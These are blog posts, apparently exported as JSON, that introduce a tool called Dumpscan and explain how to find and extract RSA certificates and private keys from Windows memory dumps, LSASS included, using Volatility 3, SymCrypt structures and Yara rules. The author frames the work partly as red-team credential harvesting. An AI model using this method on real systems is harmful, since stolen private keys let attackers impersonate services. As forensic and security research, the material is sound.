[{"content":"What is Dumpscan? To get an idea of why Dumpscan exists, you check out the Dumping RSA Certificates with Volatility series Part 1 and Part 2. To provide better implementation for the techniques discussed for dumping private keys and other secrets from memory, I decided to write a tool to locate and extract the certificates.\nThe driving factors were:\n Installing Volatility 3 and understanding the options and plugins structure can be lengthy. To simply the process, I wanted to write a tool that had Volatility 3 as a dependency. I wanted to extend this functionality to other forms of memory dumps, primarily the Windows Minidump format. I wanted a custom output to make things look pretty.  Dumpscan is written in Python, uses Volatility 3 for kernel dump scanning, and implements its own minidump parser to perform the same actions for the minidump format.\nTo simply the installation process, it\u0026rsquo;s highly recommended to use pipx. Pipx installs tools into their own virtual environment and allows for easy management of Python CLI tools. As of this post, the proper way to install it would be:\npipx install dumpscan pipx inject dumpscan git+https://github.com/volatilityfoundation/volatility3#39e812a Although volatility 3 is a regular dependency and would normally be listed as such, the latest release version on PyPI (v2.0.1) at this time does not work but v2.2.0 does. The magic of pipx allows us to inject the current Github version directly into the virtual environment for dumpscan.\nFeatures Kernel mode parsing is done with Volatility 3. Dumpscan wraps around some built-in Vol3 plugins as well as implements custom ones made for the x509 and SymCrypt extraction. Minidump parsing is done using construct structures to allow for scanning through Minidump memory streams. This is still a work in progress but is currently capable of scanning x64 Windows process dumps. I am also looking into adding coredump parsing for Linux and macOS as well.\nThe focus for Dumpscan is to look in places where secrets might be. Two of these places of interest are the command line arguments used to launch a process as well as the process environment variables. Checking command line arguments might be useful if you\u0026rsquo;ve captured a process that accepts connection strings or credentials on the command line. Environment variables are especially useful in cloud environments. To perform this, I\u0026rsquo;ve included the Vol3 plugins for cmdline and envar to perform this for kernel dumps, and minidump parser is capable of walking the PEB to get the command line string for the process, as well as its environment variables. Additionally, I\u0026rsquo;ve included the pslist functionality from Vol3 to make it easier to find processes of interest.\nExample Here is an example where an lsass dump was scanned (command not shown) as well as a process of interest that was handling certificates. From the lsass dump, we find a PKCS container with a 2048 key size starting with the modulus B2013599836403D8737AA998B1411CDA06B6D41B. In the Python process, we find a public certificate with the same starting modulus value. We\u0026rsquo;ve successfully identified a valid key pair, and we can extract both of those to combine them to make a PFX.\nConclusion My goal is to make dumpscan the premier tool for scanning different types of memory dumps and processes for secrets. There\u0026rsquo;s a long way to go but if you\u0026rsquo;re interested, feel free to pivot to the Github page to check out more.\n","permalink":"https://daddycocoaman.dev/posts/introducing-dumpscan/","summary":"What is Dumpscan? To get an idea of why Dumpscan exists, you check out the Dumping RSA Certificates with Volatility series Part 1 and Part 2. To provide better implementation for the techniques discussed for dumping private keys and other secrets from memory, I decided to write a tool to locate and extract the certificates.\nThe driving factors were:\n Installing Volatility 3 and understanding the options and plugins structure can be lengthy.","title":"Introducing Dumpscan"},{"content":"In this mini-series, Part 1 discussed how we could discover RSA certificates in arbitrary processes using volatility. Additionally, the dumpcerts plugin was also able to find certificates in the PKCS #8 format:\nPrivateKeyInfo ::= SEQUENCE { version Version, privateKeyAlgorithm PrivateKeyAlgorithmIdentifier, privateKey PrivateKey, attributes [0] IMPLICIT Attributes OPTIONAL } Version ::= INTEGER PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier PrivateKey ::= OCTET STRING Attributes ::= SET OF Attribute But what about private keys that may not be in this format, particularly in Windows environments? After all, private keys at their most basic form are not much more than a combination of numbers in some structure that can be used for decryption. This entry in the series will discuss extracting private keys in arbitrary processes.\n Private keys Before going further, we need to understand what it is we\u0026rsquo;re looking for in an RSA private key. The RSA private and public key relationship is effectively this:\n    Private Key Public Key      p ✅ ⛔ prime number   q ✅ ⛔ prime number   n ✅ ✅ modulus (p * q)   e ✅ ✅ public exponent (usually 3 or 65537)   d ✅ ⛔ private exponent    When we have a public key, the modulus and public exponent are available. However, the private exponent and the prime numbers are considered to be secret, and should not be exposed publicly. At a minimum for a private key, we need n and d, since that will allow p and q to be derived as well as any additional values required by the Chinese Remainder Theorem (CRT) for some private key operations.\n RSA on Windows While Linux implementations typically use OpenSSL, Windows has several of its own cryptographic service providers. The cross-platform compatability of .NET and the providers available are well-documented in the Microsoft Docs. Most notably, we care about the RSA on Windows section, which talks about the behavior of the library depending on how the code is written.\n  Windows CryptoAPI (CAPI) is used whenever new RSACryptoServiceProvider() is used. Windows Cryptography API Next Generation (CNG) is used whenever new RSACng() is used. The object returned by RSA.Create is internally powered by Windows CNG. This use of Windows CNG is an implementation detail and is subject to change. The GetRSAPublicKey extension method for X509Certificate2 returns an RSACng instance. This use of RSACng is an implementation detail and is subject to change. The GetRSAPrivateKey extension method for X509Certificate2 currently prefers an RSACng instance, but if RSACng can\u0026rsquo;t open the key, RSACryptoServiceProvider will be attempted. The preferred provider is an implementation detail and is subject to change.   The highlight of this section pulled from Microsoft Docs is that RSA objects are powered by the internal Windows CNG provider. So how can we determine what the structure of these objects look like? Many years ago, this might have required a lot of debugging, note-taking, and hours of effort to figure out, since the cryptographic libraries of Windows were closed-source. However, in 2019, Microsoft open-sourced SymCrypt, the core cryptographic function library used by Windows. Therefore by analyzing the open source code, we can determine what the structures look like.\n SymCrypt The SymCrypt library is well-documented and we can quickly locate the code and structures we\u0026rsquo;re interested in. In particular, symcrypt_internal.h holds structures for RSA Key structures (as well as many other types of encryption).\nThe four structures of interest here are _SYMCRYPT_RSAKEY, _SYMCRYPT_MODULUS, _SYMCRYPT_DIVISOR, and _SYMCRYPT_INT. Within the _SYMCRYPT_RSAKEY object, there are pointers which eventually lead to the other three structures, therefore we have to keep in mind the fields available in each one.\nTo keep this review short, I\u0026rsquo;ll only cover the main _SYMCRYPT_RSAKEY and _SYMCRYPT_INT objects, since the others are used to traverse from the RSA key to the values we want.\n_SYMCRYPT_RSAKEY typedef SYMCRYPT_ASYM_ALIGN_STRUCT _SYMCRYPT_RSAKEY { UINT32 cbTotalSize; // Total size of the rsa key  BOOLEAN hasPrivateKey; // Set to true if there is private key information set  UINT32 nSetBitsOfModulus; // Bits of modulus specified during creation  UINT32 nBitsOfModulus; // Number of bits of the value of the modulus (not the object\u0026#39;s size)  UINT32 nDigitsOfModulus; // Number of digits of the modulus object (always equal to SymCryptDigitsFromBits(nSetBitsOfModulus))  UINT32 nPubExp; // Number of public exponents  UINT32 nPrimes; // Number of primes, can be 0 if the object only supports public keys  UINT32 nBitsOfPrimes[SYMCRYPT_RSAKEY_MAX_NUMOF_PRIMES]; // Number of bits of the value of each prime (not the object\u0026#39;s size)  UINT32 nDigitsOfPrimes[SYMCRYPT_RSAKEY_MAX_NUMOF_PRIMES]; // Number of digits of each prime object  UINT32 nMaxDigitsOfPrimes; // Maximum number of digits in nDigitsOfPrimes  UINT64 au64PubExp[SYMCRYPT_RSAKEY_MAX_NUMOF_PUBEXPS]; // SYMCRYPT_ASYM_ALIGN\u0026#39;ed buffers that point to memory allocated for each object  PBYTE pbPrimes[SYMCRYPT_RSAKEY_MAX_NUMOF_PRIMES]; PBYTE pbCrtInverses[SYMCRYPT_RSAKEY_MAX_NUMOF_PRIMES]; PBYTE pbPrivExps[SYMCRYPT_RSAKEY_MAX_NUMOF_PUBEXPS]; PBYTE pbCrtPrivExps[SYMCRYPT_RSAKEY_MAX_NUMOF_PUBEXPS * SYMCRYPT_RSAKEY_MAX_NUMOF_PRIMES]; // SymCryptObjects  PSYMCRYPT_MODULUS pmModulus; // The modulus N=p*q  PSYMCRYPT_MODULUS pmPrimes[SYMCRYPT_RSAKEY_MAX_NUMOF_PRIMES]; // Pointers to the secret primes  PSYMCRYPT_MODELEMENT peCrtInverses[SYMCRYPT_RSAKEY_MAX_NUMOF_PRIMES]; // Pointers to the CRT inverses of the primes  PSYMCRYPT_INT piPrivExps[SYMCRYPT_RSAKEY_MAX_NUMOF_PUBEXPS]; // Pointers to the corresponding private exponents  PSYMCRYPT_INT piCrtPrivExps[SYMCRYPT_RSAKEY_MAX_NUMOF_PUBEXPS * SYMCRYPT_RSAKEY_MAX_NUMOF_PRIMES]; // Pointers to the private exponents modulo each prime minus 1 (for CRT)  SYMCRYPT_MAGIC_FIELD } SYMCRYPT_RSAKEY; This structure containers the entirety of the RSA structure. While all the fields have some value, the following fields are the most interesting:\n hasPrivateKey: Determines if the object contains private key values. If not, it is a public key. This value is either 0 or 1. nPrimes: We generally expect this to be 0 or 2 depending on the value of hasPrivateKey. au64PubExp: Public exponent e. Defaults to 65537 but may also be 3 in some cases. pmModulus: Pointer to _SYMCRYPT_MODULUS n. This value can be used to match public and private keys along with au64PubExp pmPrimes: Pointers to _SYMCRYPT_MODULUS p and q, the prime numbers when a private key is available. piPrivExps: Pointer to _SYMCRYPT_INT private exponent d. With n and d, we can derive the values found in pmPrimes.  _SYMCRYPT_INT SYMCRYPT_ASYM_ALIGN_STRUCT _SYMCRYPT_INT { UINT32 type; _Field_range_( 1, SYMCRYPT_FDEF_UPB_DIGITS ) UINT32 nDigits; // digit size depends on run-time decisions...  UINT32 cbSize; SYMCRYPT_MAGIC_FIELD SYMCRYPT_ASYM_ALIGN union { struct { UINT32 uint32[SYMCRYPT_ANYSIZE]; // FDEF: array UINT32[nDigits * # uint32 per digit]  } fdef; } ti; // we must have a name here. \u0026#39;ti\u0026#39; stands for \u0026#39;Type-Int\u0026#39;, it helps catch type errors when type-casting macros are used. }; The primary interest here is fdef, which contains the array of 32-bit integers that represent whatever value the structure is meant to represent. As shown in _SYMCRYPT_RSAKEY, the private exponent is represented by this structure. However, this structure is also used by _SYMCRYPT_MODULUS, therefore the prime numbers and the modulus are ultimately represented by this structure.\n Discovering _SYMCRYPT_RSAKEY Discovering the location of these structures turned out to be fairly simple. The driver responsible for Windows cryptographic operations is at C:\\Windows\\system32\\drivers.cng.sys. By loading this driver into Binary Ninja, we can grab the PDB from the Microsoft Symbol server and locate interesting functions.\nAs expected, we can find the MSCryptGenerateKeyPair function which calls \u0026lsquo;CreateAndInitializeNewKey`. Shoutout to properly named functions.\nInside this function, we can find the struct that is created that represents the key. We could trace back the arguments to the calling functions and function tables to verify this, but that falls outside the scope of this blog entry. However, what we can see is something that appears to be a magic header KRSM, possibly standing for Microsoft/MSCrypt RSA Key. Coincidentally, the validateMSCryptRsaAlgorithm function shown in the previous screenshot checks a different struct for the string ARSM, and we can assume that means Microsoft/MSCrypt RSA Algorithm.\nAdditionally, there is a hardcoded value of 0x28 right before the KRSM header. This appears to be the length of the entire structure we\u0026rsquo;re looking at, which is supported by the initialization of rax members right before the assignment. Therefore, we have enough to determine that the beginning of an MSCrypt RSA Key in hex form would look like 28 00 00 00 4b 52 53 4d, and this is a significant marker for the object in memory!\nNote on Mimikatz I learned later that this is exactly how Mimikatz looks for BCrypt private keys, so this isn\u0026rsquo;t exactly a novel technique. However, by coming across this realization, it opens opportunities to discover additional credential types for parsing, such as symmetric keys. 😃\n Pivoting with Yara By using the construct module, we can recreate the SymCrypt structures of interest, as well as the MSCrypt RSA Key structure. Some of the values for the BCRYPT_RSAKEY object were discovered by looking a little further at the structure in Binary Ninja, but not all values were found.\nBCRYPT_RSAKEY = Struct( \u0026#34;Length\u0026#34; / Int32ul, \u0026#34;Magic\u0026#34; / Const(b\u0026#34;KRSM\u0026#34;), \u0026#34;Algid\u0026#34; / Hex(Int32ul), \u0026#34;ModBitLen\u0026#34; / Int32ul, \u0026#34;Unknown1\u0026#34; / Int32sl, \u0026#34;Unknown2\u0026#34; / Int32sl, \u0026#34;pAlg\u0026#34; / Hex(Int64ul), \u0026#34;pKey\u0026#34; / Hex(Int64ul), ) SYMCRYPT_RSAKEY = Struct( \u0026#34;cbTotalSize\u0026#34; / Int32ul, \u0026#34;hasPrivateKey\u0026#34; / Int32ul, \u0026#34;nSetBitsOfModulus\u0026#34; / Int32ul, \u0026#34;nBitsOfModulus\u0026#34; / Int32ul, \u0026#34;nDigitsOfModulus\u0026#34; / Int32ul, \u0026#34;nPubExp\u0026#34; / Int32ul, \u0026#34;nPrimes\u0026#34; / Int32ul, \u0026#34;nBitsOfPrimes\u0026#34; / Array(2, Int32ul), \u0026#34;nDigitsOfPrimes\u0026#34; / Array(2, Int32ul), \u0026#34;nMaxDigitsOfPrimes\u0026#34; / Array(1, Int32ul), \u0026#34;au64PubExp\u0026#34; / Hex(Int64ul), \u0026#34;pbPrimes\u0026#34; / Array(2, Hex(Int64ul)), \u0026#34;pbCrtInverses\u0026#34; / Array(2, Hex(Int64ul)), \u0026#34;pbPrivExps\u0026#34; / Array(1, Hex(Int64ul)), \u0026#34;pbCrtPrivExps\u0026#34; / Array(2, Hex(Int64ul)), \u0026#34;pmModulus\u0026#34; / Hex(Int64ul), \u0026#34;pmPrimes\u0026#34; / Array(2, Hex(Int64ul)), \u0026#34;peCrtInverses\u0026#34; / Array(2, Hex(Int64ul)), \u0026#34;piPrivExps\u0026#34; / Array(1, Hex(Int64ul)), \u0026#34;piCrtPrivExps\u0026#34; / Array(2, Hex(Int64ul)), \u0026#34;magic\u0026#34; / Hex(Int64ul), ) SYMCRYPT_MODULUS_MONTGOMERY = Struct(\u0026#34;inv64\u0026#34; / Hex(Int64ul), \u0026#34;rsqr\u0026#34; / Hex(Int32ul)) SYMCRYPT_MODULUS_PSUEDOMERSENNE = Struct(\u0026#34;k\u0026#34; / Int32ul) SYMCRYPT_INT = Struct( \u0026#34;type\u0026#34; / Int32ul, \u0026#34;nDigits\u0026#34; / Int32ul, \u0026#34;cbSize\u0026#34; / Int32ul, \u0026#34;magic\u0026#34; / Int64ul, \u0026#34;unknown1\u0026#34; / Int64ul, \u0026#34;unknown2\u0026#34; / Int32ul, \u0026#34;fdef\u0026#34; / Array((this.cbSize - 0x20) // 4, Int32ul), ) SYMCRYPT_DIVISOR = Struct( \u0026#34;type\u0026#34; / Int32ul, \u0026#34;nDigits\u0026#34; / Int32ul, \u0026#34;cbSize\u0026#34; / Int32ul, \u0026#34;nBits\u0026#34; / Int32ul, \u0026#34;magic\u0026#34; / Int64ul, \u0026#34;td\u0026#34; / Int64ul, \u0026#34;int\u0026#34; / SYMCRYPT_INT, ) SYMCRYPT_MODULUS = Struct( \u0026#34;type\u0026#34; / Int32ul, \u0026#34;nDigits\u0026#34; / Int32ul, \u0026#34;cbSize\u0026#34; / Int32ul, \u0026#34;flags\u0026#34; / Int32ul, \u0026#34;cbModElement\u0026#34; / Int32ul, \u0026#34;magic\u0026#34; / Int64ul, \u0026#34;tm\u0026#34; / Union( 0, \u0026#34;montgomery\u0026#34; / SYMCRYPT_MODULUS_MONTGOMERY, \u0026#34;pseudoMersenne\u0026#34; / SYMCRYPT_MODULUS_PSUEDOMERSENNE, ), \u0026#34;pUnknown\u0026#34; / Hex(Int64ul), \u0026#34;pUnknown2\u0026#34; / Hex(Int64ul), \u0026#34;pUnknown3\u0026#34; / Hex(Int64ul), \u0026#34;divisor\u0026#34; / SYMCRYPT_DIVISOR, ) Since Volatility allows us to pivot to other sections of memory, combining these Struct classes with Volatility 3\u0026rsquo;s YaraScanner makes it easy to parse the entire RSA key out of memory. For example, the SYMCRYPT_RSAKEY output would look something like this:\nContainer: cbTotalSize = 3488 hasPrivateKey = 1 nSetBitsOfModulus = 2048 nBitsOfModulus = 2048 nDigitsOfModulus = 4 nPubExp = 1 nPrimes = 2 nBitsOfPrimes = ListContainer: 1024 1024 nDigitsOfPrimes = ListContainer: 2 2 nMaxDigitsOfPrimes = ListContainer: 2 au64PubExp = 0x0000000000010001 pbPrimes = ListContainer: 0x0000015FF008CBA0 0x0000015FF008CE20 pbCrtInverses = ListContainer: 0x0000015FF008D0A0 0x0000015FF008D1A0 pbPrivExps = ListContainer: 0x0000015FF008D2A0 pbCrtPrivExps = ListContainer: 0x0000015FF008D3C0 0x0000015FF008D4E0 pmModulus = 0x0000015FF008C920 pmPrimes = ListContainer: 0x0000015FF008CBA0 0x0000015FF008CE20 peCrtInverses = ListContainer: 0x0000015FF008D0A0 0x0000015FF008D1A0 piPrivExps = ListContainer: 0x0000015FF008D2A0 piCrtPrivExps = ListContainer: 0x0000015FF008D3C0 0x0000015FF008D4E0 magic = 0x0000000000000000 What we\u0026rsquo;re interested in here is if the structure has a 1 for hasPrivateKey, which means we can extract the public and private key material. However, we have no way of knowing what certificate it represents. At least, not at first. Other values of interest here include the prime numbers (obviously) as well as the private exponent.\n Matching keys and certs In Part 1, we were able to extract the public certificates found in a process. Therefore, we can check to see if the process we\u0026rsquo;re scanning for SymCrypt RSA keys also has the public certificate associated with it. As mentioned earlier, we can determine a key pair by comparing the value of modulus of the private key (p * q) to the modulus n of the public certs we can extract. With a little Python magic, we can determine when there\u0026rsquo;s a match:\nOffset PID Process Rule HasPrivateKey Modulus (First 20 Bytes) Matching ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 0x15fef506130 872 lsass.exe symcrypt_rsa_key 0 CCD95B6993F8A5C47177FBD5E1CA79E43672C6EC 0x15fef50c650 872 lsass.exe symcrypt_rsa_key 0 E44E27497E1BDF3A768BB35141057311CA367875 F42F47F1987857A58664B8830F47803669400477 -\u0026gt; CN=b831458c-0bd8-4f58-8c61-64838f56ba31 0x15fef7518d0 872 lsass.exe symcrypt_rsa_key 0 B2EDBB129B966FBFCA24893DB4D47C6D8B2643F1 0x15fef7557a0 872 lsass.exe symcrypt_rsa_key 0 E44E27497E1BDF3A768BB35141057311CA367875 F42F47F1987857A58664B8830F47803669400477 -\u0026gt; CN=b831458c-0bd8-4f58-8c61-64838f56ba31 0x15fef755c80 872 lsass.exe symcrypt_rsa_key 1 E44E27497E1BDF3A768BB35141057311CA367875 F42F47F1987857A58664B8830F47803669400477 -\u0026gt; CN=b831458c-0bd8-4f58-8c61-64838f56ba31 0x15fefea0150 872 lsass.exe symcrypt_rsa_key 1 E44E27497E1BDF3A768BB35141057311CA367875 F42F47F1987857A58664B8830F47803669400477 -\u0026gt; CN=b831458c-0bd8-4f58-8c61-64838f56ba31 0x15feff44750 872 lsass.exe symcrypt_rsa_key 1 B2EDBB129B966FBFCA24893DB4D47C6D8B2643F1 In this instance, we discovered four different instances of the same structure, and while all of them correspond to a certificate with the subject name CN=b831458c-0bd8-4f58-8c61-64838f56ba31, only two of them have the private key material. Since we have the public certificate and the private key material, we can combine them to dump a working PFX that includes the private key. And if there is no match but we still have private key material, as shown in the hit at 0x15feff44750, we can still dump the key material to disk, as another process might actually be handling the public certificate. What a win!\n Conclusion There\u0026rsquo;s still more work to do. By analyzing cng.sys, we should be able to find more structures that represent secrets and certificates that can be extracted from memory. And although LSASS was focused here, this technique works on any kernel or process dump. There is value in finding these certificates, particularly in cloud environments where certificate-based authentication is extremely common between identities and services. Parsing memory dumps with techniques other than Mimikatz is a skillset that can open new and unexpected paths for attackers and is an area of research that needs further exploration.\nThe volatility 3 plugin for this technique can be found on my Github.\n","permalink":"https://daddycocoaman.dev/posts/dumping-rsa-certificates-with-volatility-part-2/","summary":"In this mini-series, Part 1 discussed how we could discover RSA certificates in arbitrary processes using volatility. Additionally, the dumpcerts plugin was also able to find certificates in the PKCS #8 format:\nPrivateKeyInfo ::= SEQUENCE { version Version, privateKeyAlgorithm PrivateKeyAlgorithmIdentifier, privateKey PrivateKey, attributes [0] IMPLICIT Attributes OPTIONAL } Version ::= INTEGER PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier PrivateKey ::= OCTET STRING Attributes ::= SET OF Attribute But what about private keys that may not be in this format, particularly in Windows environments?","title":"Dumping RSA Certificates with Volatility (Part 2)"},{"content":"Setup Info  Volatility 3 2.0.2  Volatility 3 Framework 2.0.2 usage: volatility [-h] [-c CONFIG] [--parallelism [{processes,threads,off}]] [-e EXTEND] [-p PLUGIN_DIRS] [-s SYMBOL_DIRS] [-v] [-l LOG] [-o OUTPUT_DIR] [-q] [-r RENDERER] [-f FILE] [--write-config] [--clear-cache] [--cache-path CACHE_PATH] [--offline] [--single-location SINGLE_LOCATION] [--stackers [STACKERS ...]] [--single-swap-locations [SINGLE_SWAP_LOCATIONS ...]] plugin ...  Windows 11 Dump  Variable Value ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Kernel Base 0xf80745a00000 DTB 0x1ae000 Symbols file:///C:/Users/daddy/development/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/F55005B80C686C739E763E6CF2559D9F-1.json.xz Is64Bit True IsPAE False layer_name 0 WindowsIntel32e memory_layer 1 WindowsCrashDump64Layer base_layer 2 FileLayer KdDebuggerDataBlock 0xf80746602190 NTBuildLab 22000.1.amd64fre.co_release.2106 CSDVersion 0 KdVersionBlock 0xf80746609758 Major/Minor 15.22000 MachineType 34404 KeNumberProcessors 4 SystemTime 2022-02-26 07:09:23 NtSystemRoot C:\\Windows NtProductType NtProductWinNt NtMajorVersion 10 NtMinorVersion 0 PE MajorOperatingSystemVersion 10 PE MinorOperatingSystemVersion 0 PE Machine 34404 PE TimeDateStamp Sat Sep 16 14:16:51 1972 Volatility This year, I\u0026rsquo;ve had a pretty large interest in offensive forensics: the idea of using forensic concepts (particually host-based forensics) to further an attack path. A simple example of this would be looking through a targets Recycle Bin to look for files that have credentials. While looking for credentials has an offensive focus, the process of determining original file names and original locations for files in the Recycle Bin can be considered a forensic skill.\nIn particular, I\u0026rsquo;ve been looking at ways to perform memory forensics to determine how to find secrets in memory dumps of entire hosts or processes. At the core of memory forensics is a framework called Volatility, traditionally used by forensicators and often co-opted by attackers.\nYou inevitably will come across two versions of Volatility:\n  Volatility\n Older and based on Python 2.7 Not as much support for modern operating systems Lots of plugins for operating systems it does support    Volatility3\n Newer and based on Python 3.6+ Much better support for modern operating systems Not as much plugin support yet    Note: For the sake of clarity, throughout the rest of this series. I will be referring to the original Volatility as Volatility2.\nWhile some of the community plugins that exist for the Volatility2 might seem interesting for offensive forensics (such as this mimikatz plugin), many of those plugins are not maintained and require updates to make them compatible with the new Volatility 3 framework. Additionally, since operating systems (especially Windows) has changed over time, it\u0026rsquo;s likely that some of these plugins might need a rework to deal with new or changed structured objects in memory.\n How dumpcerts Works While looking for ideas in which to use Volatility3 during red team engagements, I came across the dumpcerts plugin that is built into Volatility2. This plugin was written based on work by Tobias Klein in which he wrote about finding and extracting RSA certificates and keys in large amounts of data.\nLet\u0026rsquo;s see how this works.\nASN.1 Structures Both PKCS #8 and x509 are storage standards for holding the crytographic data for RSA private keys and certificates, respectively. The standards and ASN.1 structures for each of these object types are backed by RFC 5208 for PKCS #8 and RFC 5280 for x509 v3 certificates. By analyzing the data structures, we can determine what the object looks like in memory. As noted in the article by Tobias, we don\u0026rsquo;t need to dig particularly deep in the structures to attempt to identify them.\nPKCS #8 PrivateKeyInfo ::= SEQUENCE { version Version, privateKeyAlgorithm PrivateKeyAlgorithmIdentifier, privateKey PrivateKey, attributes [0] IMPLICIT Attributes OPTIONAL } Version ::= INTEGER PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier PrivateKey ::= OCTET STRING Attributes ::= SET OF Attribute Starting with the PrivateKeyInfo (which is also represented by the CRYPT_PRIVATE_KEY_INFO struct found in the Windows API), we can determine what the bytes of the object are in memory. Firstly, a SEQUENCE is represented by 30 82 ?? ??, where 30 82 is the tag and the unknown bytes represent the length of the SEQUENCE. In this case, since we are starting with the SEQUENCE, the length represented by the bytes that come directly after the tage is the length of the entire PKCS #8 object.\nNext comes the Version INTEGER. An INTEGER is defined by the tag 02 followed by the length of the integer in bytes, followed by value. Since the RFC states this value should be 0, the full structure for this Version is 02 01 00.\nThe next field is a privateKeyAlgorithm whose possibilities are defined in RFC 2898 as part of the PKCS-5 standard with several possible values depending on the type of encryption used. It\u0026rsquo;s possible to be extremely specific and add these possible values for this field to reduce the number of hits found by the underlying Yara engines in Volatility2/3 but it\u0026rsquo;s overkill.\nTherefore, we can identify potential RSA Private keys in the PKCS #8 format with 30 82 ?? ?? 02 01 00 as a set of bytes to look for. This is how the dumpcerts plugin finds them!\nx509 Certificate ::= SEQUENCE { tbsCertificate TBSCertificate, signatureAlgorithm AlgorithmIdentifier, signatureValue BIT STRING } TBSCertificate ::= SEQUENCE { version [0] EXPLICIT Version DEFAULT v1, serialNumber CertificateSerialNumber, signature AlgorithmIdentifier, issuer Name, validity Validity, subject Name, subjectPublicKeyInfo SubjectPublicKeyInfo, issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL, -- If present, version MUST be v2 or v3 subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL, -- If present, version MUST be v2 or v3 extensions [3] EXPLICIT Extensions OPTIONAL -- If present, version MUST be v3 } ...snipped... Version ::= INTEGER { v1(0), v2(1), v3(2) } Similarly, the x509 structure starts with a SEQUENCE. However, the next item is a TBSCertificate and that is also a SEQUENCE. Therefore, we will see two SEQUENCE tags in a row 30 82 ?? ?? 30 82 ?? ??. According to [Section 4.1.2.1] of RFC 5280, the Version is an INTEGER that can be either v1, v2, v3. This set of bytes is not accounted for in the original plugin, and during attempts to add it in the updated version, I noticed a huge reduction in the number of certificates being found. Therefore, we use 30 82 ?? ?? 30 82 ?? ?? as the indicator for an x509 certificate.\n Updating to Volatility3 The convenience of Volatility is that you scan specific process address spaces and scan only those as opposed to scanning the entire dump of memory. This makes it possible to correlate and provide context to any results found, as certs will be referred to in conjunction with their processes. Specifically, the fields that are output in the original dumpcerts include the process ID (PID), process name, the offset where the object was found, the rule that matched, and other data for the user to look through. The new plugin only outputs the offset found, PID, process name, the rule that matched and the subject name or key size, depending on the object found.\nCreating the class A Volatility3 plugin must be a class that subclasses PluginInterface. We also have to define the minimal Volatility3 framework version as well as the version of the plugin itself.\nclass Dumpcerts(interfaces.plugins.PluginInterface): \u0026#34;\u0026#34;\u0026#34;Dump public and private RSA keys based on ASN-1 structure\u0026#34;\u0026#34;\u0026#34; _required_framework_version = (2, 0, 0) _version = (1, 0, 0) Defining the requirements Writing a plugin for Volatility3 requires a classmethod called get_requirements where the author must defined what is required for the plugin to run as well as defines the command line options for the user.\n@classmethod def get_requirements(cls) -\u0026gt; List[interfaces.configuration.RequirementInterface]: return [ # We need to access the kernel module layer that we will scan requirements.ModuleRequirement( name=\u0026#34;kernel\u0026#34;, description=\u0026#34;Kernel layer\u0026#34;, architectures=[\u0026#34;Intel32\u0026#34;, \u0026#34;Intel64\u0026#34;], ), # We need the vadyarascanner, which allows us to perform yara scans on specific Virtual Address Descriptors (VADs) requirements.PluginRequirement( name=\u0026#34;vadyarascanner\u0026#34;, plugin=vadyarascan.VadYaraScan, version=(1, 0, 0) ), # We can specify PIDs to scan. If not provided, the plugin will scan all PIDs requirements.ListRequirement( name=\u0026#34;pid\u0026#34;, element_type=int, description=\u0026#34;Process IDs to include (all other processes are excluded)\u0026#34;, optional=True, ), # Allows the user to determine if they want to scan only for public certs or private keys requirements.ChoiceRequirement( [\u0026#34;all\u0026#34;, \u0026#34;private\u0026#34;, \u0026#34;public\u0026#34;], name=\u0026#34;type\u0026#34;, default=\u0026#34;all\u0026#34;, description=\u0026#34;Types of keys to dump\u0026#34;, optional=True, ), # Gives the user the option to dump any objects found to disk. requirements.BooleanRequirement( name=\u0026#34;dump\u0026#34;, description=\u0026#34;Dump keys\u0026#34;, default=False, optional=True ), # Allows the user to scan all physical memory instead of just process memory requirements.BooleanRequirement( name=\u0026#34;physical\u0026#34;, description=\u0026#34;Scan physical memory instead of processes\u0026#34;, default=False, optional=True, ), ] Defining the run method The run method in a plugin needs to be defined and return a TreeGrid object. This TreeGrid defines the columns and value representation of the output that results from the self._generator function.\ndef run(self) -\u0026gt; renderers.TreeGrid: physical = self.config.get(\u0026#34;physical\u0026#34;) if physical: return renderers.TreeGrid( [ (f\u0026#39;{\u0026#34;Offset\u0026#34;:\u0026lt;8}\u0026#39;, format_hints.Hex), (\u0026#34;Rule\u0026#34;, str), (\u0026#34;Value\u0026#34;, str), ], self._generator(physical), ) else: return renderers.TreeGrid( [ (f\u0026#39;{\u0026#34;Offset\u0026#34;:\u0026lt;8}\u0026#39;, format_hints.Hex), (\u0026#34;PID\u0026#34;, int), (f\u0026#39;{\u0026#34;Process\u0026#34;:\u0026lt;8}\u0026#39;, str), (\u0026#34;Rule\u0026#34;, str), (\u0026#34;Value\u0026#34;, str), ], self._generator(physical), ) In this plugin\u0026rsquo;s case, there are two possible table formats: one for process scanning and another for physical memory scanning. Since we can\u0026rsquo;t correlate the offset address of matches to processes during physical scanning without a bunch of overhead, we only print out the offset, the rule that matched, and the subject name or key size depending on the object. The format_hints module in Volatility3 provides some helper types to change how the value in that column is displayed. The string formatting seen for Offset and Process are attempts to line up the column headers with the table as much as possible in Volatility3\u0026rsquo;s default output.\nDefining the Yara rules At its core, the dumpcerts plugin uses the internal Yara scanners and processes the matches to determine if a certificate or key has been found based on the given rules.\nVolatility3 values having reusable code that can be accessed from external plugins. This gives a collaborative feel to the plugins as opposed to each plugin attempting to implement code on its own. I can\u0026rsquo;t imagine a reason an external plugin would need these yara rules, but no hard is done by exposing this functionality as a classmethod.\n@classmethod def get_yara_rules(cls, key_type: str): sources = {} if key_type in [\u0026#34;all\u0026#34;, \u0026#34;public\u0026#34;]: sources[\u0026#34;x509\u0026#34;] = \u0026#34;rule x509 {strings: $a = {30 82 ?? ?? 30 82 ?? ??} condition: $a}\u0026#34; if key_type in [\u0026#34;all\u0026#34;, \u0026#34;private\u0026#34;]: 